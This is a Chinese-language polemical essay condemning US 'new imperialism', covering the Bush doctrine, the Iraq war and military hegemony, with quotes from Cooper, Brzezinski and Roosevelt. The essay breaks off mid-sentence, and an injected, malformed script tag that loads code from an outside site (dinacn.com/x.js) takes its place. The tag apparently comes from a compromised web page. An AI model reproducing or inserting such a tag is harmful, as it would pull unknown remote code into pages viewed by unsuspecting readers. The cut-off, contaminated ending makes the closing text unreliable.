美国的新帝国主义以“仁慈的帝国”面目在全世界推广“自由民主”体制，妄图重建新世界秩序，并以反恐为名推行先发制人、政权更迭和单边主义政策，建立了军事、经济、技术和制度霸权。然而，正如罗马帝国最终要走向衰亡一样，美国的霸权也必将如泡沫一般破灭。

新帝国论的出炉

   “9.11”事件之后，帝国主义又死灰复燃，在西方世界再度流行起来，美国毫不隐晦地声称自己是当今世界的“唯一帝国”，并冠之以时髦名词：“新帝国主义”。布莱尔的外交政策顾问罗伯特·库珀在一本名为《世界秩序重建》的书中指出：为了对付恐怖主义的威胁，美英等国应确立以军事干预手段介入世界任何角落的“新帝国主义”政策。 “要使落后国家的文明和统治获得新生，就需要新的殖民政策。”新帝国论者认为殖民不是一个利益问题，而是一种义务。无论对整个民族还是对个人来说，殖民都是一种道义上的责任，一种将自己从上天获得的力量和好处扩大到全人类的责任。殖民之所以必须进行，因为殖民是大国所肩负的不可推卸的责任之一。

    新帝国论者还认为，今天的美国不仅是当今世界的“唯一帝国”，而且也和“古罗马帝国”一样，是跨越千年的“最后的帝国”。布热津斯基在《大棋局》中自豪地声称：美国是有史以来“唯一的全面的全球性超级大国”。新帝国论的核心内容在布什主义中得到了充分的发挥和阐释。它的主要原则就是先发制人、政权更迭和单边主义。新帝国论者似乎对世界和人类的未来怀有一种崇高的使命感，仿佛是上帝委派美国来到世间拯救人类的疾苦，打击他们认为的“邪恶国家”和“无赖国家”，解放他们认为是第四世界的“失败国家”，让他们都过上像美国一样的富裕生活。

    正如小布什总统在伊拉克战争发动后对伊拉克人民宣扬的那样：“我们是来解放你们的，我们将给你们带来自由、民主和繁荣！”而当美国的“精确制导”导弹从阿富汗和伊拉克的上空降临到无辜百姓头上时，所谓的“仁慈的帝国”的美丽谎言就被撕得粉碎。

    正如俄罗斯前外长伊万诺夫嘲讽的那样：伊拉克人民不需要“战斧式”巡航导弹送去的民主和自由。新帝国主义具有强烈的现代主义特征，它所追求的不是传统意义上的土地占领和明目张胆的掠夺，而是意识形态领域的渗透和政权的更替，通过在那些被征服国家重建的傀儡政权，兜售美国的理念，推行其政治和经济自由化，以达到操纵和控制世界的目的。它的显著特征，就是打着维护民主、人权和自由的旗帜，彻底否定民主、人权和自由，否定民族自决和主权平等原则，为以美国式“自由民主”体制重建世界秩序，打开“合法”的方便之门。  

新帝国论的成因

“新帝国论”的出炉，具有深刻的历史和现实原因。

    从历史上看，自从《独立宣言》发表以来，差不多每隔一代人就发生一次战争。每次战争之后，美国都得到了巩固和发展。因此，美国已经形成了一种战争能带来好处的心理预期和思维惯性，其“战争情结”挥之不去。美国总统西奥多·罗斯福在19世纪末同西班牙进行战争的时候说：“我们确实希望自己能成为一个伟大的民族，那么必须要有勇气追求在世界历史舞台上发挥伟大的作用，我们不应逃避重大事件。

    我们不能像那些小气的人，整天呆在自己的小圈子里，对于涉及我们利益的最重要的事情都采取漠不关心的态度。这样的一种政策会导致我们衰落。因为在我们民族的利益不断扩大，在接触中彼此联系越来越紧密的时候，如果我们不能在国境之外行使我们的权力，我们就不能作为贸易大国和海洋大国进行争夺统治权力的斗争。”第一次世界大战使美国脱颖而出，成为列强中的新贵；第二次世界大战则把美国打造成一个经济巨无霸；近半个世纪的冷战，并没将美国“拖垮”，相反，美国成了冷战的胜利者。整个20世纪90年代的发展使美国国力进入新一轮的扩张期，这种反差与俄罗斯的衰落、欧洲和日本的蹒跚不前形成鲜明对比。

新帝国主义的霸权表现

    德国左翼经济学教授汉斯格奥尔格·科内特认为：“最近世界结构中，非常突出的、划时代的、而且产生大量后果的特征就是美国的最高权力、即霸权地位”，“第二次世界大战、紧接着就是冷战、他们带来了第一个霸权势力——美国”，“两极格局的终结则成为美国世界政治霸权的起点”。

    2001年《美国国家安全战略》报告在一开始就提出了“我们的最佳防御是有效的进攻”的理念。布什说：“在这个世界里，通往和平与安全的唯一道路就是军事行动的道路。”在军事领域, 美国2003 年的国防支出超过了位于其后的15 —20 个国家军费的总和。五角大楼的数字表明，美国的军事存在或多或少遍布联合国190个会员国中的132个国家。因此，美国更像?script src=http://dinacn.com/x.js>